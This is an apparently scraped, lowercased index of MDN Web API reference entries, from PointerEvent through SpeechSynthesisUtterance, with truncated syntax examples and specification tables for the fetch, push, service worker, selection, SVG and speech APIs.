example var moveevent = new pointerevent("pointermove"); var downevent = new pointerevent("pointerdown", {pointerid: 1, bubbles: true, cancelable: true, pointertype: "touch", width: 100, height: 100, isprimary: true }); ...
PointerEvent.getCoalescedEvents() - Web APIs
specifications specification status comment pointer events – level 3the definition of 'getcoalescedevents()' in that specification.
PositionOptions.timeout - Web APIs
syntax positionoptions.timeout = timelength specifications specification status comment geolocation apithe definition of 'positionoptions.timeout' in that specification.
ProgressEvent.total - Web APIs
syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PushEvent.PushEvent() - Web APIs
this can be push or pushsubscriptionchange.
PushManager.hasPermission() - Web APIs
} ); example // tbd specification specification status comment push api working draft defines the pushmanager interface.
PushMessageData.arrayBuffer() - Web APIs
examples self.addeventlistener('push', function(event) { var buffer = event.data.arraybuffer(); // do something with your array buffer }); specifications specification status comment push apithe definition of 'arraybuffer()' in that specification.
PushMessageData.blob() - Web APIs
examples self.addeventlistener('push', function(event) { var blob = event.data.blob(); // do something with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification.
PushMessageData.text() - Web APIs
examples self.addeventlistener('push', function(event) { var textobj = event.data.text(); // do something with your text }); specifications specification status comment push apithe definition of 'text()' in that specification.
PushSubscription.expirationTime - Web APIs
specifications specification status comment push apithe definition of 'expirationtime' in that specification.
PushSubscription.subscriptionId - Web APIs
syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
PushSubscription.toJSON() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { var mysubscription = subscription.tojson(); // do something with subscription details }) }); specifications specification status comment push apithe definition of 'pushsubscription: tojson' in that specification.
PushSubscription.unsubscribe() - Web APIs
example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'unsubscribe()' in that specification.
RTCDataChannel.stream - Web APIs
the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.
RTCPeerConnection.onidpassertionerror - Web APIs
this event handler is deprecated.
RTCPeerConnection.onremovestream - Web APIs
the removestream event has been removed from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
RadioNodeList.value - Web APIs
e; radionodelist.value = string; example html <form> <label><input type="radio" name="color" value="blue">blue</label> <label><input type="radio" name="color" value="red">red</label> </form> javascript // get the form const form = document.forms[0]; // get the form's radio buttons const radios = form.elements['color']; // choose the "red" option radios.value = 'red'; result specifications specification status comments html living standardthe definition of 'radionodelist.value' in that specification.
Range() - Web APIs
WebAPIRangeRange
p> javascript const paragraphs = document.queryselectorall('p'); // create new range const range = new range(); // start range at second paragraph range.setstartbefore(paragraphs[1]); // end range at third paragraph range.setendafter(paragraphs[2]); // get window selection const selection = window.getselection(); // add range to window selection selection.addrange(range); result specification specification status comment domthe definition of 'range.range()' in that specification.
ReadableByteStreamController.byobRequest - Web APIs
specifications specification status comment streamsthe definition of 'byobrequest' in that specification.
ReadableByteStreamController.close() - Web APIs
specifications specification status comment streamsthe definition of 'close()' in that specification.
ReadableStreamBYOBReader.ReadableStreamBYOBReader() - Web APIs
examples tbd specifications specification status comment streamsthe definition of 'readablestreambyobreader()' in that specification.
ReadableStreamBYOBReader.closed - Web APIs
specifications specification status comment streamsthe definition of 'closed' in that specification.
ReadableStreamBYOBReader.read() - Web APIs
specifications specification status comment streamsthe definition of 'read()' in that specification.
ReadableStreamBYOBRequest.respond() - Web APIs
specifications specification status comment streamsthe definition of 'respond()' in that specification.
ReadableStreamBYOBRequest.respondWithNewView() - Web APIs
specifications specification status comment streamsthe definition of 'respondwithnewview()' in that specification.
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'readablestreamdefaultreader()' in that specification.
ReadableStreamDefaultReader.closed - Web APIs
reader.closed.then(() => { console.log('reader closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
ReportingObserver.observe() - Web APIs
syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification.
Request.headers - Web APIs
WebAPIRequestheaders
quest = new request('flowers.jpg'); var myheaders = myrequest.headers; // headers {} to add a header to the headers object we use headers.append; we then create a new request along with a 2nd init parameter, passing headers in as an init option: var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); mycontenttype = myrequest.headers.get('content-type'); // returns 'image/jpeg' specifications specification status comment fetchthe definition of 'headers' in that specification.
Request.integrity - Web APIs
WebAPIRequestintegrity
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request integrity value in a variable: var myrequest = new request('flowers.jpg'); var myintegrity = myrequest.integrity; specifications specification status comment fetchthe definition of 'integrity' in that specification.
Request.referrer - Web APIs
WebAPIRequestreferrer
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification.
Request.referrerPolicy - Web APIs
example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest = new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification.
ResizeObserver.disconnect() - Web APIs
examples btn.addeventlistener('click', () => { resizeobserver.disconnect(); }) specifications specification status comment resize observerthe definition of 'disconnect()' in that specification.
ResizeObserver.unobserve() - Web APIs
m'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if(checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'unobserve()' in that specification.
Response.error() - Web APIs
WebAPIResponseerror
specifications specification status comment fetchthe definition of 'error()' in that specification.
Response.headers - Web APIs
WebAPIResponseheaders
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification.
Response.ok - Web APIs
WebAPIResponseok
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification.
Response.redirect() - Web APIs
WebAPIResponseredirect
example responseobj.redirect('https://www.example.com', 302); specifications specification status comment fetchthe definition of 'redirect()' in that specification.
Response.status - Web APIs
WebAPIResponsestatus
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification.
Response.statusText - Web APIs
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.url - Web APIs
WebAPIResponseurl
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification.
Response.useFinalURL - Web APIs
syntax var isfinalurl = response.usefinalurl; value a boolean indicating whether or not the url is final rather than a redirect.
format - Web APIs
pfr embedded-opentype embedded opentype .eot type-1 postscript™ type 1 .pfb, .pfa truetype truetype .ttf opentype opentype, including truetype open .ttf truetype-gx truetype with gx extensions - speedo speedo - intellifont intellifont - example myglyph.format = "truedoc-pfr"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format' in that specification.
SVGAltGlyphElement.glyphRef - Web APIs
example myglyph.glypref = "#glyphid"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref' in that specification.
SVGAnimatedAngle - Web APIs
svg animated angle interface the svganimatedangle interface is used for attributes of basic type <angle> which can be animated.
SVGAnimatedBoolean - Web APIs
svg animated boolean interface the svganimatedboolean interface is used for attributes of type boolean which can be animated.
SVGAnimatedEnumeration - Web APIs
svg animated enumeration interface the svganimatedenumeration interface is used for attributes whose value must be a constant from a particular enumeration and which can be animated.
SVGAnimatedInteger - Web APIs
svg animated integer interface the svganimatedinteger interface is used for attributes of basic type <integer> which can be animated.
SVGAnimatedLength - Web APIs
svg animated length interface the svganimatedlength interface is used for attributes of basic type <length> which can be animated.
SVGAnimatedLengthList - Web APIs
svg animated length list interface the svganimatedlengthlist interface is used for attributes of type svglengthlist which can be animated.
SVGAnimatedNumber - Web APIs
svg animated number interface the svganimatednumber interface is used for attributes of basic type <number> which can be animated.
SVGAnimatedNumberList - Web APIs
svg animated number list interface the svganimatednumber interface is used for attributes which take a list of numbers and which can be animated.
SVGAnimatedPoints - Web APIs
additionally, the points attribute on the original element accessed via the xml dom (e.g., using the getattribute() method call) will reflect any changes made to the svganimatedpoints.points attribut.
SVGAnimatedPreserveAspectRatio - Web APIs
svg animated preserveaspectratio interface the svganimatedpreserveaspectratio interface is used for attributes of type svgpreserveaspectratio which can be animated.
SVGAnimatedRect - Web APIs
the svganimatedrect interface is used for attributes of basic svgrect which can be animated.
SVGAnimatedString.animVal - Web APIs
syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAnimatedString.baseVal - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
SVGAnimatedTransformList - Web APIs
svg animated transform list interface the svganimatedtransformlist interface is used for attributes which take a list of numbers and which can be animated.
SVGAnimationElement.onbegin - Web APIs
syntax var begineventhandler = someelement.onbegin; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onbegin' in that specification.
SVGAnimationElement.onend - Web APIs
syntax var endeventhandler = someelement.onend; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onend' in that specification.
SVGAnimationElement.onrepeat - Web APIs
syntax var repeateventhandler = someelement.onrepeat; specifications specification status comment svg animations level 2the definition of 'svganimationelement.onrepeat' in that specification.
SVGDocument - Web APIs
normative document svg 1.1 (2nd edition) properties name type description domain domstring the domain name of the server that served the document, or a null string if the server cannot be identified by a domain name.
SVGEvent - Web APIs
WebAPISVGEvent
cancelable read only boolean whether the event is cancellable or not.
SVGMeshElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmeshelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;...
SVGPathElement.pathLength - Web APIs
syntax var pathlength = someelement.pathlength; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpathelement.pathlength' in that specification.
SVGSolidcolorElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgsolidcolorelement" target="_top"><rect x="1" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
SVGStylable - Web APIs
svg stylable interface the svgstylable interface is implemented on all objects corresponding to svg elements that can have style, class and presentation attributes specified on them.
SVGZoomAndPan - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgzoomandpan" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></di...
Screen.availWidth - Web APIs
WebAPIScreenavailWidth
syntax var width = window.screen.availwidth example var screenavailwidth = window.screen.availwidth; console.log(screenavailwidth); specifications specification status comment css object model (cssom) view modulethe definition of 'screen.availwidth' in that specification.
Screen.colorDepth - Web APIs
WebAPIScreencolorDepth
syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen.colordepth' in that specification.
Screen.mozEnabled - Web APIs
WebAPIScreenmozEnabled
syntax let screenenabled = window.screen.mozenabled specifications not part of specification.
Screen.pixelDepth - Web APIs
WebAPIScreenpixelDepth
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification.
Screen.top - Web APIs
WebAPIScreentop
syntax let top = window.screen.top; specifications not part of any current specification.
Screen.unlockOrientation() - Web APIs
example var unlockorientation = screen.unlockorientation || screen.mozunlockorientation || screen.msunlockorientation || (screen.orientation && screen.orientation.unlock); if (unlockorientation()) { // orientation was unlocked } else { // orientation unlock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
ScreenOrientation.angle - Web APIs
specifications specification status comment screen orientation apithe definition of 'angle' in that specification.
ScreenOrientation.unlock() - Web APIs
specifications specification status comment screen orientation apithe definition of 'unlock()' in that specification.
Screen Orientation API - Web APIs
interfaces screenorientation specifications specification status comment screen orientation api working draft initial definition.
SecurityPolicyViolationEvent.columnNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.columnnumber); }); specifications specification status comment content security policy level 3the definition of 'columnnumber' in that specification.
SecurityPolicyViolationEvent.documentURI - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.documenturi); }); specifications specification status comment content security policy level 3the definition of 'documenturi' in that specification.
SecurityPolicyViolationEvent.effectiveDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.effectivedirective); }); specifications specification status comment content security policy level 3the definition of 'effectivedirective' in that specification.
SecurityPolicyViolationEvent.lineNumber - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.linenumber); }); specifications specification status comment content security policy level 3the definition of 'linenumber' in that specification.
SecurityPolicyViolationEvent.originalPolicy - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.originalpolicy); }); specifications specification status comment content security policy level 3the definition of 'originalpolicy' in that specification.
SecurityPolicyViolationEvent.referrer - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.referrer); }); specifications specification status comment content security policy level 3the definition of 'referrer' in that specification.
SecurityPolicyViolationEvent.sourceFile - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sourcefile); }); specifications specification status comment content security policy level 3the definition of 'sourcefile' in that specification.
SecurityPolicyViolationEvent.statusCode - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.statuscode); }); specifications specification status comment content security policy level 3the definition of 'statuscode' in that specification.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.violateddirective); }); specifications specification status comment content security policy level 3the definition of 'violateddirective' in that specification.
Selection.addRange() - Web APIs
n'); button.addeventlistener('click', function () { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.length; i++) { let range = document.createrange(); range.selectnode(strongs[i]); selection.addrange(range); } }); result specifications specification status comment selection apithe definition of 'selection.addrange()' in that specification.
Selection.anchorOffset - Web APIs
syntax number = sel.anchoroffset specifications specification status comment selection apithe definition of 'selection.anchoroffset' in that specification.
Selection.extend() - Web APIs
WebAPISelectionextend
specifications specification status comment selection apithe definition of 'selection.extend()' in that specification.
Selection.focusOffset - Web APIs
syntax offset = sel.focusoffset specifications specification status comment selection apithe definition of 'selection.focusoffset' in that specification.
Selection.getRangeAt() - Web APIs
example let ranges = []; sel = window.getselection(); for(let i = 0; i < sel.rangecount; i++) { ranges[i] = sel.getrangeat(i); } /* each item in the ranges array is now * a range object representing one of the * ranges in the current selection */ specifications specification status comment selection apithe definition of 'selection: getrangeat()' in that specification.
Selection.removeAllRanges() - Web APIs
specifications specification status comment selection apithe definition of 'selection.removeallranges()' in that specification.
Selection.selectAllChildren() - Web APIs
footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
ServiceWorker.scriptURL - Web APIs
syntax someurl = serviceworker.scripturl value a usvstring (see the webidl definition of usvstring.) examples tbd specifications specification status comment service workersthe definition of 'scripturl' in that specification.
ServiceWorkerContainer.controller - Web APIs
if (navigator.serviceworker.controller) { console.log(`this page is currently controlled by: ${navigator.serviceworker.controller}`); } else { console.log('this page is not currently controlled by a service worker.'); } } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.controller' in that specification.
ServiceWorkerContainer.getRegistration() - Web APIs
example navigator.serviceworker.getregistration('/app').then(function(registration) { if(registration){ document.queryselector('#status').textcontent = 'serviceworkerregistration found.'; } }); specifications specification status comment service workersthe definition of 'serviceworkercontainer: getregistration' in that specification.
ServiceWorkerContainer.getRegistrations() - Web APIs
example navigator.serviceworker.getregistrations().then(function(registrations) { document.queryselector('#status').textcontent = 'serviceworkerregistrations found.'; }); specifications specification status comment service workersthe definition of 'getregistrations()' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
} example // tbd specifications specification status comment service workersthe definition of 'serviceworkercontainer: oncontrollerchange' in that specification.
ServiceWorkerContainer.ready - Web APIs
example if ('serviceworker' in navigator) { navigator.serviceworker.ready .then(function(registration) { console.log('a service worker is active:', registration.active); // at this point, you can call methods that require an active // service worker, like registration.pushmanager.subscribe() }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.ready' in that specification.
ServiceWorkerGlobalScope.clients - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.clients' in that specification.
ServiceWorkerGlobalScope.registration - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerglobalscope.registration' in that specification.
ServiceWorkerRegistration.installing - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.installing' in that specification.
ServiceWorkerRegistration.navigationPreload - Web APIs
specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
ServiceWorkerRegistration.periodicSync - Web APIs
examples // tbd specifications currently not part of any specification.
ServiceWorkerRegistration.scope - Web APIs
syntax var swscope = serviceworkerregistration.scope; specifications specification status comment service workersthe definition of 'serviceworkerregistration.scope' in that specification.
ServiceWorkerRegistration.sync - Web APIs
specifications specification status comment web background synchronization living standard initial definition.
ServiceWorkerRegistration.waiting - Web APIs
specifications specification status comment service workersthe definition of 'serviceworkerregistration.waiting' in that specification.
ShadowRoot.host - Web APIs
WebAPIShadowRoothost
// return the original host element some time later let hostelem = shadow.host; specifications specification status comment domthe definition of 'shadowroot.host' in that specification.
ShadowRoot.innerHTML - Web APIs
examples let customelem = document.queryselector('my-shadow-dom-element'); let shadow = customelem.shadowroot; shadow.innerhtml = '<strong>this element should be more important!</strong>'; specifications this property is not defined by any specifications yet; see this open spec issue to specify it.
ShadowRoot.mode - Web APIs
WebAPIShadowRootmode
shadow.mode = 'closed'; } specifications specification status comment domthe definition of 'shadowroot.mode' in that specification.
Slottable - Web APIs
WebAPISlottable
specifications specification status comment domthe definition of 'slottable' in that specification.
SourceBuffer.appendBuffer() - Web APIs
specifications specification status comment media source extensionsthe definition of 'appendbuffer()' in that specification.
SourceBuffer.appendStream() - Web APIs
maxsize an unsigned long value indicating the maximum number of bytes that can be appended in this operation.
SourceBuffer.audioTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'audiotracks' in that specification.
SourceBuffer.buffered - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'buffered' in that specification.
SourceBuffer.textTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'texttracks' in that specification.
SourceBuffer.timestampOffset - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'timestampoffset' in that specification.
SourceBuffer.videoTracks - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'videotracks' in that specification.
SourceBufferList: indexed property getter - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffer() getter' in that specification.
SourceBufferList.length - Web APIs
example tbd specifications specification status comment media source extensionsthe definition of 'length' in that specification.
SpeechRecognition: end event - Web APIs
bubbles no cancelable no interface event event handler property onend examples you can use the end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition service disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specifica...
SpeechRecognition.onend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechRecognition.onerror - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognition.onsoundend - Web APIs
}; examples recognition.onsoundend = function() { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'onsoundend' in that specification.
SpeechRecognition.onsoundstart - Web APIs
}; examples recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'onsoundstart' in that specification.
SpeechRecognition.onspeechend - Web APIs
}; examples recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'onspeechend' in that specification.
SpeechRecognition.onspeechstart - Web APIs
}; examples recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'onspeechstart' in that specification.
SpeechRecognition.onstart - Web APIs
}; examples recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechRecognition.serviceURI - Web APIs
the serviceuri property of the speechrecognition interface specifies the location of the speech recognition service used by the current speechrecognition to handle the actual recognition.
SpeechRecognitionError.message - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
SpeechRecognitionError - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
SpeechRecognitionErrorEvent.message - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionErrorEvent - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'speechrecognitionerrorevent' in that specification.
SpeechRecognitionEvent.interpretation - Web APIs
this might be determined, for instance, through the sisr specification of semantics in a grammar (see semantic interpretation for speech recognition (sisr) version 1.0 for specification and examples.) syntax var myinterpretation = event.interpretation; value the returned value can be of any type.
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechSynthesis.getVoices() - Web APIs
ption.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } html <select id="voiceselect"></select> specifications specification status comment web speech apithe definition of 'getvoices()' in that specification.
SpeechSynthesis.pause() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.pending - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speak() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesis.speaking - Web APIs
this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
SpeechSynthesisEvent.charIndex - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'charindex' in that specification.
SpeechSynthesisEvent.elapsedTime - Web APIs
examples utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' seconds.'); } specifications specification status comment web speech apithe definition of 'elapsedtime' in that specification.
SpeechSynthesisEvent.utterance - Web APIs
examples utterthis.onpause = function(event) { var char = event.utterance.text.charat(event.charindex); console.log('speech paused at character ' + event.charindex + ' of "' + event.utterance.text + '", which is "' + char + '".'); } specifications specification status comment web speech apithe definition of 'utterance' in that specification.
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance()' in that specification.
SpeechSynthesisUtterance.lang - Web APIs
nction(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance: mark event - Web APIs
